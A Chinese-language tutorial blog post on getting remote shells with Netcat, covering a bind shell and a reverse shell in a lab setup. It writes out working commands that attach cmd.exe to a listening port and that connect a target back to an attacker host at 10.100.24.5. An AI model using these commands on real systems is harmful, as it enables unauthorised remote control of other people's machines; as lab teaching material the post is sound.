反弹shell的方式——之NC反弹shell

反弹shell是指在攻击机监听某个端口,然后通过目标连接攻击机监听的端口,在攻击机反弹得到目标机的shell。通常在目标网络有防火墙或者其他因素限制,导致无法持续控制目标,或者执行命令受阻等情况时需要进行反弹shell

常见的反弹shell方式:

  1. bash反弹shell

  2. NC反弹shell

  3. python反弹shell

  4. ....

NC反弹shell

Netcat简称NC是一个简单可靠的网络工具,被誉为网络界的瑞士军刀。通过NC可以进行端口扫描,反弹shell,

端口监听和文件传输等操作,常用参数如下:

NC反弹shell-正向反弹D

实验拓扑如下图:

攻击机可以和靶机相互访问,这个时候可以使用正向shell

1.在靶机上运行:

nc -lvvp 1111 -e C://Windows\System32\cmd.exe

2.在攻击机上运行:

nc 172.25.254.156 1111

正向shell:攻击者连接到目标系统的监听端口。

NC反弹shell-反向反弹

实验拓扑如下图:

攻击机不可以直接访问靶机,但是靶机可以访问攻击者机器,这个时候可以使用反向shell

1.在攻击机上运行:

nc -lvvp 1111

2.在靶机上运行:

nc -e  C://Windows\System32\cmd.exe 10.100.24.5 1111

反向shell:目标系统连接到攻击者的监听端口。

评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值